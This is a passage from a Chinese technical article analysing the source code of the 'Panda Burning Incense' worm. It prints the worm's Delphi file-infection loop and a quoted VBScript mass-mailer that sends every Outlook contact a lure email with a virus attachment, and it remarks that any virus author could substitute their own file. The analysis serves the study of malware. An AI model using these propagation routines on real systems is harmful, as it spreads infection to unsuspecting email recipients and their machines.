技术开发 频道

“熊猫烧香”源码启示录

 
(二) 具体感染文件的过程
这个子过程的源码如下所示: 
{遍历磁盘上所有的文件并实际感染} procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + ':', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一 end; end;{ === InfectFiles }

    这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电子邮件信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本:
   
Set objOA=Wscript.CreateObject("Outlook.Application"'创建一个OUTLOOK应用的对象 Set objMapi=objOA.GetNameSpace("MAPI"'取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count '遍历地址簿 Set objAddList=objMapi.AddressLists(i) For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem (0 objMail.Recipients.Add (objAddList. AddressEntries (j)) '取得收件人邮件地址 objMail.Subject="你好!" '设置邮件主题 objMail.Body="这次给你的附件,是我的新文档!" '设置信件内容 objMail.Attachments.Add(“c:\virus.vbs" '把自己作为附件扩散出去 objMail.Send '发送邮件 Next Next Set objMapi=Nothing Set objOA=Nothing
    注意,这段代码是非常基本的使用VBScript脚本操作Outlook COM对象,并进而达到通过编程方式操作Outlook发送特定邮件的编程技术。其中,最关键的一句在于: 
 objMail.Attachments.Add(“c:\virus.vbs" 
   在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身!
0
相关文章